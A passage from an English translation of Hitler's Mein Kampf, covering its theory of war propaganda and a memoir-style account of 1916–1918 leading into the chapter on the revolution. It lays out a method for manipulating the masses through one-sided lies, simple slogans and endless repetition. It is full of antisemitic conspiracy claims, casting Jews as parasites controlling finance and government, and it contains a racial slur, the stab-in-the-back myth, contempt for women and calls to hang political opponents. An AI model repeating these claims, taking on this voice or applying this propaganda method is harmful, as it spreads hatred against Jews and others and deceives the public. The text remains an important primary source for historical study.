for which we fought during the War was the +noblest and highest that man could strive for. We were fighting for the +freedom and independence of our country, for the security of our future +welfare and the honour of the nation. Despite all views to the contrary, +this honour does actually exist, or rather it will have to exist; for a +nation without honour will sooner or later lose its freedom and +independence. This is in accordance with the ruling of a higher justice, +for a generation of poltroons is not entitled to freedom. He who would +be a slave cannot have honour; for such honour would soon become an +object of general scorn. + +Germany was waging war for its very existence. The purpose of its war +propaganda should have been to strengthen the fighting spirit in that +struggle and help it to victory. + +But when nations are fighting for their existence on this earth, when +the question of 'to be or not to be' has to be answered, then all humane +and aesthetic considerations must be set aside; for these ideals do not +exist of themselves somewhere in the air but are the product of man's +creative imagination and disappear when he disappears. Nature knows +nothing of them. Moreover, they are characteristic of only a small +number of nations, or rather of races, and their value depends on the +measure in which they spring from the racial feeling of the latter. +Humane and aesthetic ideals will disappear from the inhabited earth when +those races disappear which are the creators and standard-bearers of +them. + +All such ideals are only of secondary importance when a nation is +struggling for its existence. They must be prevented from entering into +the struggle the moment they threaten to weaken the stamina of the +nation that is waging war. That is always the only visible effect +whereby their place in the struggle is to be judged. + +In regard to the part played by humane feeling, Moltke stated that in +time of war the essential thing is to get a decision as quickly as +possible and that the most ruthless methods of fighting are at the same +time the most humane. When people attempt to answer this reasoning by +highfalutin talk about aesthetics, etc., only one answer can be given. It +is that the vital questions involved in the struggle of a nation for its +existence must not be subordinated to any aesthetic considerations. The +yoke of slavery is and always will remain the most unpleasant experience +that mankind can endure. Do the Schwabing (Note 12) decadents look upon +Germany's lot to-day as 'aesthetic'? Of course, one doesn't discuss such +a question with the Jews, because they are the modern inventors of this +cultural perfume. Their very existence is an incarnate denial of the +beauty of God's image in His creation. + +[Note 12. Schwabing is the artistic quarter in Munich where artists have +their studios and litterateurs, especially of the Bohemian class, +foregather.] + +Since these ideas of what is beautiful and humane have no place in +warfare, they are not to be used as standards of war propaganda. + +During the War, propaganda was a means to an end. And this end was the +struggle for existence of the German nation. Propaganda, therefore, +should have been regarded from the standpoint of its utility for that +purpose. The most cruel weapons were then the most humane, provided they +helped towards a speedier decision; and only those methods were good and +beautiful which helped towards securing the dignity and freedom of the +nation. Such was the only possible attitude to adopt towards war +propaganda in the life-or-death struggle. + +If those in what are called positions of authority had realized this +there would have been no uncertainty about the form and employment of +war propaganda as a weapon; for it is nothing but a weapon, and indeed a +most terrifying weapon in the hands of those who know how to use it. + +The second question of decisive importance is this: To whom should +propaganda be made to appeal? To the educated intellectual classes? Or +to the less intellectual? + +Propaganda must always address itself to the broad masses of the people. +For the intellectual classes, or what are called the intellectual +classes to-day, propaganda is not suited, but only scientific +exposition. Propaganda has as little to do with science as an +advertisement poster has to do with art, as far as concerns the form in +which it presents its message. The art of the advertisement poster +consists in the ability of the designer to attract the attention of the +crowd through the form and colours he chooses. The advertisement poster +announcing an exhibition of art has no other aim than to convince the +public of the importance of the exhibition. The better it does that, the +better is the art of the poster as such. Being meant accordingly to +impress upon the public the meaning of the exposition, the poster can +never take the place of the artistic objects displayed in the exposition +hall. They are something entirely different. Therefore. those who wish +to study the artistic display must study something that is quite +different from the poster; indeed for that purpose a mere wandering +through the exhibition galleries is of no use. The student of art must +carefully and thoroughly study each exhibit in order slowly to form a +judicious opinion about it. + +The situation is the same in regard to what we understand by the word, +propaganda. The purpose of propaganda is not the personal instruction of +the individual, but rather to attract public attention to certain +things, the importance of which can be brought home to the masses only +by this means. + +Here the art of propaganda consists in putting a matter so clearly and +forcibly before the minds of the people as to create a general +conviction regarding the reality of a certain fact, the necessity of +certain things and the just character of something that is essential. +But as this art is not an end in itself and because its purpose must be +exactly that of the advertisement poster, to attract the attention of +the masses and not by any means to dispense individual instructions to +those who already have an educated opinion on things or who wish to form +such an opinion on grounds of objective study--because that is not the +purpose of propaganda, it must appeal to the feelings of the public +rather than to their reasoning powers. + +All propaganda must be presented in a popular form and must fix its +intellectual level so as not to be above the heads of the least +intellectual of those to whom it is directed. Thus its purely +intellectual level will have to be that of the lowest mental common +denominator among the public it is desired to reach. When there is +question of bringing a whole nation within the circle of its influence, +as happens in the case of war propaganda, then too much attention cannot +be paid to the necessity of avoiding a high level, which presupposes a +relatively high degree of intelligence among the public. + +The more modest the scientific tenor of this propaganda and the more it +is addressed exclusively to public sentiment, the more decisive will be +its success. This is the best test of the value of a propaganda, and not +the approbation of a small group of intellectuals or artistic people. + +The art of propaganda consists precisely in being able to awaken the +imagination of the public through an appeal to their feelings, in +finding the appropriate psychological form that will arrest the +attention and appeal to the hearts of the national masses. That this is +not understood by those among us whose wits are supposed to have been +sharpened to the highest pitch is only another proof of their vanity or +mental inertia. + +Once we have understood how necessary it is to concentrate the +persuasive forces of propaganda on the broad masses of the people, the +following lessons result therefrom: + +That it is a mistake to organize the direct propaganda as if it were a +manifold system of scientific instruction. + +The receptive powers of the masses are very restricted, and their +understanding is feeble. On the other hand, they quickly forget. Such +being the case, all effective propaganda must be confined to a few bare +essentials and those must be expressed as far as possible in stereotyped +formulas. These slogans should be persistently repeated until the very +last individual has come to grasp the idea that has been put forward. If +this principle be forgotten and if an attempt be made to be abstract and +general, the propaganda will turn out ineffective; for the public will +not be able to digest or retain what is offered to them in this way. +Therefore, the greater the scope of the message that has to be +presented, the more necessary it is for the propaganda to discover that +plan of action which is psychologically the most efficient. + +It was, for example, a fundamental mistake to ridicule the worth of the +enemy as the Austrian and German comic papers made a chief point of +doing in their propaganda. The very principle here is a mistaken one; +for, when they came face to face with the enemy, our soldiers had quite +a different impression. Therefore, the mistake had disastrous results. +Once the German soldier realised what a tough enemy he had to fight he +felt that he had been deceived by the manufacturers of the information +which had been given him. Therefore, instead of strengthening and +stimulating his fighting spirit, this information had quite the contrary +effect. Finally he lost heart. + +On the other hand, British and American war propaganda was +psychologically efficient. By picturing the Germans to their own people +as Barbarians and Huns, they were preparing their soldiers for the +horrors of war and safeguarding them against illusions. The most +terrific weapons which those soldiers encountered in the field merely +confirmed the information that they had already received and their +belief in the truth of the assertions made by their respective +governments was accordingly reinforced. Thus their rage and hatred +against the infamous foe was increased. The terrible havoc caused by the +German weapons of war was only another illustration of the Hunnish +brutality of those barbarians; whereas on the side of the Entente no +time was left the soldiers to meditate on the similar havoc which their +own weapons were capable of. Thus the British soldier was never allowed +to feel that the information which he received at home was untrue. +Unfortunately the opposite was the case with the Germans, who finally +wound up by rejecting everything from home as pure swindle and humbug. +This result was made possible because at home they thought that the work +of propaganda could be entrusted to the first ass that came along, +braying of his own special talents, and they had no conception of the +fact that propaganda demands the most skilled brains that can be found. + +Thus the German war propaganda afforded us an incomparable example of +how the work of 'enlightenment' should not be done and how such an +example was the result of an entire failure to take any psychological +considerations whatsoever into account. + +From the enemy, however, a fund of valuable knowledge could be gained by +those who kept their eyes open, whose powers of perception had not yet +become sclerotic, and who during four-and-a-half years had to experience +the perpetual flood of enemy propaganda. + +The worst of all was that our people did not understand the very first +condition which has to be fulfilled in every kind of propaganda; namely, +a systematically one-sided attitude towards every problem that has to be +dealt with. In this regard so many errors were committed, even from the +very beginning of the war, that it was justifiable to doubt whether so +much folly could be attributed solely to the stupidity of people in +higher quarters. + +What, for example, should we say of a poster which purported to +advertise some new brand of soap by insisting on the excellent qualities +of the competitive brands? We should naturally shake our heads. And it +ought to be just the same in a similar kind of political advertisement. +The aim of propaganda is not to try to pass judgment on conflicting +rights, giving each its due, but exclusively to emphasize the right +which we are asserting. Propaganda must not investigate the truth +objectively and, in so far as it is favourable to the other side, +present it according to the theoretical rules of justice; yet it must +present only that aspect of the truth which is favourable to its own +side. + +It was a fundamental mistake to discuss the question of who was +responsible for the outbreak of the war and declare that the sole +responsibility could not be attributed to Germany. The sole +responsibility should have been laid on the shoulders of the enemy, +without any discussion whatsoever. + +And what was the consequence of these half-measures? The broad masses of +the people are not made up of diplomats or professors of public +jurisprudence nor simply of persons who are able to form reasoned +judgment in given cases, but a vacillating crowd of human children who +are constantly wavering between one idea and another. As soon as our own +propaganda made the slightest suggestion that the enemy had a certain +amount of justice on his side, then we laid down the basis on which the +justice of our own cause could be questioned. The masses are not in a +position to discern where the enemy's fault ends and where our own +begins. In such a case they become hesitant and distrustful, especially +when the enemy does not make the same mistake but heaps all the blame on +his adversary. Could there be any clearer proof of this than the fact +that finally our own people believed what was said by the enemy's +propaganda, which was uniform and consistent in its assertions, rather +than what our own propaganda said? And that, of course, was increased by +the mania for objectivity which addicts our people. Everybody began to +be careful about doing an injustice to the enemy, even at the cost of +seriously injuring, and even ruining his own people and State. + +Naturally the masses were not conscious of the fact that those in +authority had failed to study the subject from this angle. + +The great majority of a nation is so feminine in its character and +outlook that its thought and conduct are ruled by sentiment rather than +by sober reasoning. This sentiment, however, is not complex, but simple +and consistent. It is not highly differentiated, but has only the +negative and positive notions of love and hatred, right and wrong, truth +and falsehood. Its notions are never partly this and partly that. +English propaganda especially understood this in a marvellous way and +put what they understood into practice. They allowed no half-measures +which might have given rise to some doubt. + +Proof of how brilliantly they understood that the feeling of the masses +is something primitive was shown in their policy of publishing tales of +horror and outrages which fitted in with the real horrors of the time, +thereby cleverly and ruthlessly preparing the ground for moral +solidarity at the front, even in times of great defeats. Further, the +way in which they pilloried the German enemy as solely responsible for +the war--which was a brutal and absolute falsehood--and the way in which +they proclaimed his guilt was excellently calculated to reach the +masses, realizing that these are always extremist in their feelings. And +thus it was that this atrocious lie was positively believed. + +The effectiveness of this kind of propaganda is well illustrated by the +fact that after four-and-a-half years, not only was the enemy still +carrying on his propagandist work, but it was already undermining the +stamina of our people at home. + +That our propaganda did not achieve similar results is not to be +wondered at, because it had the germs of inefficiency lodged in its very +being by reason of its ambiguity. And because of the very nature of its +content one could not expect it to make the necessary impression on the +masses. Only our feckless 'statesmen' could have imagined that on +pacifists slops of such a kind the enthusiasm could be nourished which +is necessary to enkindle that spirit which leads men to die for their +country. + +And so this product of ours was not only worthless but detrimental. + +No matter what an amount of talent employed in the organization of +propaganda, it will have no result if due account is not taken of these +fundamental principles. Propaganda must be limited to a few simple +themes and these must be represented again and again. Here, as in +innumerable other cases, perseverance is the first and most important +condition of success. + +Particularly in the field of propaganda, placid aesthetes and blase +intellectuals should never be allowed to take the lead. The former would +readily transform the impressive character of real propaganda into +something suitable only for literary tea parties. As to the second class +of people, one must always beware of this pest; for, in consequence of +their insensibility to normal impressions, they are constantly seeking +new excitements. + +Such people grow sick and tired of everything. They always long for +change and will always be incapable of putting themselves in the +position of picturing the wants of their less callous fellow-creatures +in their immediate neighbourhood, let alone trying to understand them. +The blase intellectuals are always the first to criticize propaganda, or +rather its message, because this appears to them to be outmoded and +trivial. They are always looking for something new, always yearning for +change; and thus they become the mortal enemies of every effort that may +be made to influence the masses in an effective way. The moment the +organization and message of a propagandist movement begins to be +orientated according to their tastes it becomes incoherent and +scattered. + +It is not the purpose of propaganda to create a series of alterations in +sentiment with a view to pleasing these blase gentry. Its chief function +is to convince the masses, whose slowness of understanding needs to be +given time in order that they may absorb information; and only constant +repetition will finally succeed in imprinting an idea on the memory of +the crowd. + +Every change that is made in the subject of a propagandist message must +always emphasize the same conclusion. The leading slogan must of course +be illustrated in many ways and from several angles, but in the end one +must always return to the assertion of the same formula. In this way +alone can propaganda be consistent and dynamic in its effects. + +Only by following these general lines and sticking to them steadfastly, +with uniform and concise emphasis, can final success be reached. Then +one will be rewarded by the surprising and almost incredible results +that such a persistent policy secures. + +The success of any advertisement, whether of a business or political +nature, depends on the consistency and perseverance with which it is +employed. + +In this respect also the propaganda organized by our enemies set us an +excellent example. It confined itself to a few themes, which were meant +exclusively for mass consumption, and it repeated these themes with +untiring perseverance. Once these fundamental themes and the manner of +placing them before the world were recognized as effective, they adhered +to them without the slightest alteration for the whole duration of the +War. At first all of it appeared to be idiotic in its impudent +assertiveness. Later on it was looked upon as disturbing, but finally it +was believed. + +But in England they came to understand something further: namely, that +the possibility of success in the use of this spiritual weapon consists +in the mass employment of it, and that when employed in this way it +brings full returns for the large expenses incurred. + +In England propaganda was regarded as a weapon of the first order, +whereas with us it represented the last hope of a livelihood for our +unemployed politicians and a snug job for shirkers of the modest hero +type. + +Taken all in all, its results were negative. + + + + +CHAPTER VII + + + +THE REVOLUTION + + +In 1915 the enemy started his propaganda among our soldiers. From 1916 +onwards it steadily became more intensive, and at the beginning of 1918 +it had swollen into a storm flood. One could now judge the effects of +this proselytizing movement step by step. Gradually our soldiers began +to think just in the way the enemy wished them to think. On the German +side there was no counter-propaganda. + +At that time the army authorities, under our able and resolute +Commander, were willing and ready to take up the fight in the propaganda +domain also, but unfortunately they did not have the necessary means to +carry that intention into effect. Moreover, the army authorities would +have made a psychological mistake had they undertaken this task of +mental training. To be efficacious it had come from the home front. For +only thus could it be successful among men who for nearly four years now +had been performing immortal deeds of heroism and undergoing all sorts +of privations for the sake of that home. But what were the people at +home doing? Was their failure to act merely due to unintelligence or bad +faith? + +In the midsummer of 1918, after the evacuation of the southern bank of +the hearne, the German Press adopted a policy which was so woefully +inopportune, and even criminally stupid, that I used to ask myself a +question which made me more and more furious day after day: Is it really +true that we have nobody who will dare to put an end to this process of +spiritual sabotage which is being carried on among our heroic troops? + +What happened in France during those days of 1914, when our armies +invaded that country and were marching in triumph from one victory to +another? What happened in Italy when their armies collapsed on the +Isonzo front? What happened in France again during the spring of 1918, +when German divisions took the main French positions by storm and heavy +long-distance artillery bombarded Paris? + +How they whipped up the flagging courage of those troops who were +retreating and fanned the fires of national enthusiasm among them! How +their propaganda and their marvellous aptitude in the exercise of +mass-influence reawakened the fighting spirit in that broken front and +hammered into the heads of the soldiers a, firm belief in final victory! + +Meanwhile, what were our people doing in this sphere? Nothing, or even +worse than nothing. Again and again I used to become enraged and +indignant as I read the latest papers and realized the nature of the +mass-murder they were committing: through their influence on the minds +of the people and the soldiers. More than once I was tormented by the +thought that if Providence had put the conduct of German propaganda into +my hands, instead of into the hands of those incompetent and even +criminal ignoramuses and weaklings, the outcome of the struggle might +have been different. + +During those months I felt for the first time that Fate was dealing +adversely with me in keeping me on the fighting front and in a position +where any chance bullet from some nigger or other might finish me, +whereas I could have done the Fatherland a real service in another +sphere. For I was then presumptuous enough to believe that I would have +been successful in managing the propaganda business. + +But I was a being without a name, one among eight millions. Hence it was +better for me to keep my mouth shut and do my duty as well as I could in +the position to which I had been assigned. + +In the summer of 1915 the first enemy leaflets were dropped on our +trenches. They all told more or less the same story, with some +variations in the form of it. The story was that distress was steadily +on the increase in Germany; that the War would last indefinitely; that +the prospect of victory for us was becoming fainter day after day; that +the people at home were yearning for peace, but that 'Militarism' and +the 'Kaiser' would not permit it; that the world--which knew this very +well--was not waging war against the German people but only against the +man who was exclusively responsible, the Kaiser; that until this enemy +of world-peace was removed there could be no end to the conflict; but +that when the War was over the liberal and democratic nations would +receive the Germans as colleagues in the League for World Peace. This +would be done the moment 'Prussian Militarism' had been finally +destroyed. + +To illustrate and substantiate all these statements, the leaflets very +often contained 'Letters from Home', the contents of which appeared to +confirm the enemy's propagandist message. + +Generally speaking, we only laughed at all these efforts. The leaflets +were read, sent to base headquarters, then forgotten until a favourable +wind once again blew a fresh contingent into the trenches. These were +mostly dropped from aeroplanes which were used specially for that +purpose. + +One feature of this propaganda was very striking. It was that in +sections where Bavarian troops were stationed every effort was made by +the enemy propagandists to stir up feeling against the Prussians, +assuring the soldiers that Prussia and Prussia alone was the guilty +party who was responsible for bringing on and continuing the War, and +that there was no hostility whatsoever towards the Bavarians; but that +there could be no possibility of coming to their assistance so long as +they continued to serve Prussian interests and helped to pull the +Prussian chestnuts out of the fire. + +This persistent propaganda began to have a real influence on our +soldiers in 1915. The feeling against Prussia grew quite noticeable +among the Bavarian troops, but those in authority did nothing to +counteract it. This was something more than a mere crime of omission; +for sooner or later not only the Prussians were bound to have to atone +severely for it but the whole German nation and consequently the +Bavarians themselves also. + +In this direction the enemy propaganda began to achieve undoubted +success from 1916 onwards. + +In a similar way letters coming directly from home had long since been +exercising their effect. There was now no further necessity for the +enemy to broadcast such letters in leaflet form. And also against this +influence from home nothing was done except a few supremely stupid +'warnings' uttered by the executive government. The whole front was +drenched in this poison which thoughtless women at home sent out, +without suspecting for a moment that the enemy's chances of final +victory were thus strengthened or that the sufferings of their own men +at the front were thus being prolonged and rendered more severe. These +stupid letters written by German women eventually cost the lives of +hundreds of thousands of our men. + +Thus in 1916 several distressing phenomena were already manifest. The +whole front was complaining and grousing, discontented over many things +and often justifiably so. While they were hungry and yet patient, and +their relatives at home were in distress, in other quarters there was +feasting and revelry. Yes; even on the front itself everything was not +as it ought to have been in this regard. + +Even in the early stages of the war the soldiers were sometimes prone to +complain; but such criticism was confined to 'internal affairs'. The man +who at one moment groused and grumbled ceased his murmur after a few +moments and went about his duty silently, as if everything were in +order. The company which had given signs of discontent a moment earlier +hung on now to its bit of trench, defending it tooth and nail, as if +Germany's fate depended on these few hundred yards of mud and +shell-holes. The glorious old army was still at its post. A sudden +change in my own fortunes soon placed me in a position where I had +first-hand experience of the contrast between this old army and the home +front. At the end of September 1916 my division was sent into the Battle +of the Somme. For us this was the first of a series of heavy +engagements, and the impression created was that of a veritable inferno, +rather than war. Through weeks of incessant artillery bombardment we +stood firm, at times ceding a little ground but then taking it back +again, and never giving way. On October 7th, 1916, I was wounded but had +the luck of being able to get back to our lines and was then ordered to +be sent by ambulance train to Germany. + +Two years had passed since I had left home, an almost endless period in +such circumstances. I could hardly imagine what Germans looked like +without uniforms. In the clearing hospital at Hermies I was startled +when I suddenly heard the voice of a German woman who was acting as +nursing sister and talking with one of the wounded men lying near me. +Two years! And then this voice for the first time! + +The nearer our ambulance train approached the German frontier the more +restless each one of us became. En route we recognised all these places +through which we passed two years before as young volunteers--Brussels, +Louvain, Liège--and finally we thought we recognized the first German +homestead, with its familiar high gables and picturesque +window-shutters. Home! + +What a change! From the mud of the Somme battlefields to the spotless +white beds in this wonderful building. One hesitated at first before +entering them. It was only by slow stages that one could grow accustomed +to this new world again. But unfortunately there were certain other +aspects also in which this new world was different. + +The spirit of the army at the front appeared to be out of place here. +For the first time I encountered something which up to then was unknown +at the front: namely, boasting of one's own cowardice. For, though we +certainly heard complaining and grousing at the front, this was never in +the spirit of any agitation to insubordination and certainly not an +attempt to glorify one's fear. No; there at the front a coward was a +coward and nothing else, And the contempt which his weakness aroused in +the others was quite general, just as the real hero was admired all +round. But here in hospital the spirit was quite different in some +respects. Loudmouthed agitators were busy here in heaping ridicule on +the good soldier and painting the weak-kneed poltroon in glorious +colours. A couple of miserable human specimens were the ringleaders in +this process of defamation. One of them boasted of having intentionally +injured his hand in barbed-wire entanglements in order to get sent to +hospital. Although his wound was only a slight one, it appeared that he +had been here for a very long time and would be here interminably. Some +arrangement for him seemed to be worked by some sort of swindle, just as +he got sent here in the ambulance train through a swindle. This +pestilential specimen actually had the audacity to parade his knavery as +the manifestation of a courage which was superior to that of the brave +soldier who dies a hero's death. There were many who heard this talk in +silence; but there were others who expressed their assent to what the +fellow said. + +Personally I was disgusted at the thought that a seditious agitator of +this kind should be allowed to remain in such an institution. What could +be done? The hospital authorities here must have known who and what he +was; and actually they did know. But still they did nothing about it. + +As soon as I was able to walk once again I obtained leave to visit +Berlin. + +Bitter want was in evidence everywhere. The metropolis, with its teeming +millions, was suffering from hunger. The talk that was current in the +various places of refreshment and hospices visited by the soldiers was +much the same as that in our hospital. The impression given was that +these agitators purposely singled out such places in order to spread +their views. + +But in Munich conditions were far worse. After my discharge from +hospital, I was sent to a reserve battalion there. I felt as in some +strange town. Anger, discontent, complaints met one's ears wherever one +went. To a certain extent this was due to the infinitely maladroit +manner in which the soldiers who had returned from the front were +treated by the non-commissioned officers who had never seen a day's +active service and who on that account were partly incapable of adopting +the proper attitude towards the old soldiers. Naturally those old +soldiers displayed certain characteristics which had been developed from +the experiences in the trenches. The officers of the reserve units could +not understand these peculiarities, whereas the officer home from active +service was at least in a position to understand them for himself. As a +result he received more respect from the men than officers at the home +headquarters. But, apart from all this, the general spirit was +deplorable. The art of shirking was looked upon as almost a proof of +higher intelligence, and devotion to duty was considered a sign of +weakness or bigotry. Government offices were staffed by Jews. Almost +every clerk was a Jew and every Jew was a clerk. I was amazed at this +multitude of combatants who belonged to the chosen people and could not +help comparing it with their slender numbers in the fighting lines. + +In the business world the situation was even worse. Here the Jews had +actually become 'indispensable'. Like leeches, they were slowly sucking +the blood from the pores of the national body. By means of newly floated +War Companies an instrument had been discovered whereby all national +trade was throttled so that no business could be carried on freely + +Special emphasis was laid on the necessity for unhampered +centralization. Hence as early as 1916-17 practically all production was +under the control of Jewish finance. + +But against whom was the anger of the people directed? It was then that +I already saw the fateful day approaching which must finally bring the +DEBACLE, unless timely preventive measures were taken. + +While Jewry was busy despoiling the nation and tightening the screws of +its despotism, the work of inciting the people against the Prussians +increased. And just as nothing was done at the front to put a stop to +the venomous propaganda, so here at home no official steps were taken +against it. Nobody seemed capable of understanding that the collapse of +Prussia could never bring about the rise of Bavaria. On the contrary, +the collapse of the one must necessarily drag the other down with it. + +This kind of behaviour affected me very deeply. In it I could see only a +clever Jewish trick for diverting public attention from themselves to +others. While Prussians and Bavarians were squabbling, the Jews were +taking away the sustenance of both from under their very noses. While +Prussians were being abused in Bavaria the Jews organized the revolution +and with one stroke smashed both Prussia and Bavaria. + +I could not tolerate this execrable squabbling among people of the same +German stock and preferred to be at the front once again. Therefore, +just after my arrival in Munich I reported myself for service again. At +the beginning of March 1917 I rejoined my old regiment at the front. + +Towards the end of 1917 it seemed as if we had got over the worst phases +of moral depression at the front. After the Russian collapse the whole +army recovered its courage and hope, and all were gradually becoming +more and more convinced that the struggle would end in our favour. We +could sing once again. The ravens were ceasing to croak. Faith in the +future of the Fatherland was once more in the ascendant. + +The Italian collapse in the autumn of 1917 had a wonderful effect; for +this victory proved that it was possible to break through another front +besides the Russian. This inspiring thought now became dominant in the +minds of millions at the front and encouraged them to look forward with +confidence to the spring of 1918. It was quite obvious that the enemy +was in a state of depression. During this winter the front was somewhat +quieter than usual. But that was the calm before the storm. + +Just when preparations were being made to launch a final offensive which +would bring this seemingly eternal struggle to an end, while endless +columns of transports were bringing men and munitions to the front, and +while the men were being trained for that final onslaught, then it was +that the greatest act of treachery during the whole War was accomplished +in Germany. + +Germany must not win the War. At that moment when victory seemed ready +to alight on the German standards, a conspiracy was arranged for the +purpose of striking at the heart of the German spring offensive with one +blow from the rear and thus making victory impossible. A general strike +in the munition factories was organized. + +If this conspiracy could achieve its purpose the German front would have +collapsed and the wishes of the VORWÄRTS (the organ of the +Social-Democratic Party) that this time victory should not take the side +of the German banners, would have been fulfilled. For want of munitions +the front would be broken through within a few weeks, the offensive +would be effectively stopped and the Entente saved. Then International +Finance would assume control over Germany and the internal objective of +the Marxist national betrayal would be achieved. That objective was the +destruction of the national economic system and the establishment of +international capitalistic domination in its stead. And this goal has +really been reached, thanks to the stupid credulity of the one side and +the unspeakable treachery of the other. + +The munition strike, however, did not bring the final success that had +been hoped for: namely, to starve the front of ammunition. It lasted too +short a time for the lack of ammunitions as such to bring disaster to +the army, as was originally planned. But the moral damage was much more +terrible. + +In the first place. what was the army fighting for if the people at home +did not wish it to be victorious? For whom then were these enormous +sacrifices and privations being made and endured? Must the soldiers +fight for victory while the home front goes on strike against it? + +In the second place, what effect did this move have on the enemy? + +In the winter of 1917-18 dark clouds hovered in the firmament of the +Entente. For nearly four years onslaught after onslaught has been made +against the German giant, but they failed to bring him to the ground. He +had to keep them at bay with one arm that held the defensive shield +because his other arm had to be free to wield the sword against his +enemies, now in the East and now in the South. But at last these enemies +were overcome and his rear was now free for the conflict in the West. +Rivers of blood had been shed for the accomplishment of that task; but +now the sword was free to combine in battle with the shield on the +Western Front. And since the enemy had hitherto failed to break the +German defence here, the Germans themselves had now to launch the +attack. The enemy feared and trembled before the prospect of this German +victory. + +At Paris and London conferences followed one another in unending series. +Even the enemy propaganda encountered difficulties. It was no longer so +easy to demonstrate that the prospect of a German victory was hopeless. +A prudent silence reigned at the front, even among the troops of the +Entente. The insolence of their masters had suddenly subsided. A +disturbing truth began to dawn on them. Their opinion of the German +soldier had changed. Hitherto they were able to picture him as a kind of +fool whose end would be destruction; but now they found themselves face +to face with the soldier who had overcome their Russian ally. The policy +of restricting the offensive to the East, which had been imposed on the +German military authorities by the necessities of the situation, now +seemed to the Entente as a tactical stroke of genius. For three years +these Germans had been battering away at the Russian front without any +apparent success at first. Those fruitless efforts were almost sneered +at; for it was thought that in the long run the Russian giant would +triumph through sheer force of numbers. Germany would be worn out +through shedding so much blood. And facts appeared to confirm this hope. + +Since the September days of 1914, when for the first time interminable +columns of Russian war prisoners poured into Germany after the Battle of +Tannenberg, it seemed as if the stream would never end but that as soon +as one army was defeated and routed another would take its place. The +supply of soldiers which the gigantic Empire placed at the disposal of +the Czar seemed inexhaustible; new victims were always at hand for the +holocaust of war. How long could Germany hold out in this competition? +Would not the day finally have to come when, after the last victory +which the Germans would achieve, there would still remain reserve armies +in Russia to be mustered for the final battle? And what then? According +to human standards a Russian victory over Germany might be delayed but +it would have to come in the long run. + +All the hopes that had been based on Russia were now lost. The Ally who +had sacrificed the most blood on the altar of their mutual interests had +come to the end of his resources and lay prostrate before his +unrelenting foe. A feeling of terror and dismay came over the Entente +soldiers who had hitherto been buoyed up by blind faith. They feared the +coming spring. For, seeing that hitherto they had failed to break the +Germans when the latter could concentrate only part of the fighting +strength on the Western Front, how could they count on victory now that +the undivided forces of that amazing land of heroes appeared to be +gathered for a massed attack in the West? + +The shadow of the events which had taken place in South Tyrol, the +spectre of General Cadorna's defeated armies, were reflected in the +gloomy faces of the Entente troops in Flanders. Faith in victory gave +way to fear of defeat to come. + +Then, on those cold nights, when one almost heard the tread of the +German armies advancing to the great assault, and the decision was being +awaited in fear and trembling, suddenly a lurid light was set aglow in +Germany and sent its rays into the last shell-hole on the enemy's front. +At the very moment when the German divisions were receiving their final +orders for the great offensive a general strike broke out in Germany. + +At first the world was dumbfounded. Then the enemy propaganda began +activities once again and pounced on this theme at the eleventh hour. +All of a sudden a means had come which could be utilized to revive the +sinking confidence of the Entente soldiers. The probabilities of victory +could now be presented as certain, and the anxious foreboding in regard +to coming events could now be transformed into a feeling of resolute +assurance. The regiments that had to bear the brunt of the Greatest +German onslaught in history could now be inspired with the conviction +that the final decision in this war would not be won by the audacity of +the German assault but rather by the powers of endurance on the side of +the defence. Let the Germans now have whatever victories they liked, the +revolution and not the victorious army was welcomed in the Fatherland. + +British, French and American newspapers began to spread this belief +among their readers while a very ably managed propaganda encouraged the +morale of their troops at the front. + +'Germany Facing Revolution! An Allied Victory Inevitable!' That was the +best medicine to set the staggering Poilu and Tommy on their feet once +again. Our rifles and machine-guns could now open fire once again; but +instead of effecting a panic-stricken retreat they were now met with a +determined resistance that was full of confidence. + +That was the result of the strike in the munitions factories. Throughout +the enemy countries faith in victory was thus revived and strengthened, +and that paralysing feeling of despair which had hitherto made itself +felt on the Entente front was banished. Consequently the strike cost the +lives of thousands of German soldiers. But the despicable instigators of +that dastardly strike were candidates for the highest public positions +in the Germany of the Revolution. + +At first it was apparently possible to overcome the repercussion of +these events on the German soldiers, but on the enemy's side they had a +lasting effect. Here the resistance had lost all the character of an +army fighting for a lost cause. In its place there was now a grim +determination to struggle through to victory. For, according to all +human rules of judgment, victory would now be assured if the Western +front could hold out against the German offensive even for only a few +months. The Allied parliaments recognized the possibilities of a better +future and voted huge sums of money for the continuation of the +propaganda which was employed for the purpose of breaking up the +internal cohesion of Germany. + +It was my luck that I was able to take part in the first two offensives +and in the final offensive. These have left on me the most stupendous +impressions of my life--stupendous, because now for the last time the +struggle lost its defensive character and assumed the character of an +offensive, just as it was in 1914. A sigh of relief went up from the +German trenches and dug-outs when finally, after three years of +endurance in that inferno, the day for the settling of accounts had +come. Once again the lusty cheering of victorious battalions was heard, +as they hung the last crowns of the immortal laurel on the standards +which they consecrated to Victory. Once again the strains of patriotic +songs soared upwards to the heavens above the endless columns of +marching troops, and for the last time the Lord smiled on his ungrateful +children. + +In the midsummer of 1918 a feeling of sultry oppression hung over the +front. At home they were quarrelling. About what? We heard a great deal +among various units at the front. The War was now a hopeless affair, and +only the foolhardy could think of victory. It was not the people but the +capitalists and the Monarchy who were interested in carrying on. Such +were the ideas that came from home and were discussed at the front. + +At first this gave rise to only very slight reaction. What did universal +suffrage matter to us? Is this what we had been fighting for during four +years? It was a dastardly piece of robbery thus to filch from the graves +of our heroes the ideals for which they had fallen. It was not to the +slogan, 'Long Live Universal Suffrage,' that our troops in Flanders once +faced certain death but with the cry, 'DEUTSCHLAND ÜBER ALLES IN DER +WELT'. A small but by no means an unimportant difference. And the +majority of those who were shouting for this suffrage were absent when +it came to fighting for it. All this political rabble were strangers to +us at the front. During those days only a fraction of these +parliamentarian gentry were to be seen where honest Germans +foregathered. + +The old soldiers who had fought at the front had little liking for those +new war aims of Messrs. Ebert, Scheidemann, Barth, Liebknecht and +others. We could not understand why, all of a sudden, the shirkers +should abrogate all executive powers to themselves, without having any +regard to the army. + +From the very beginning I had my own definite personal views. I +intensely loathed the whole gang of miserable party politicians who had +betrayed the people. I had long ago realized that the interests of the +nation played only a very small part with this disreputable crew and +that what counted with them was the possibility of filling their own +empty pockets. My opinion was that those people thoroughly deserved to +be hanged, because they were ready to sacrifice the peace and if +necessary allow Germany to be defeated just to serve their own ends. To +consider their wishes would mean to sacrifice the interests of the +working classes for the benefit of a gang of thieves. To meet their +wishes meant that one should agree to sacrifice Germany. + +Such, too, was the opinion still held by the majority of the army. But +the reinforcements which came from home were fast becoming worse and +worse; so much so that their arrival was a source of weakness rather +than of strength to our fighting forces. The young recruits in +particular were for the most part useless. Sometimes it was hard to +believe that they were sons of the same nation that sent its youth into +the battles that were fought round Ypres. + +In August and September the symptoms of moral disintegration increased +more and more rapidly, although the enemy's offensive was not at 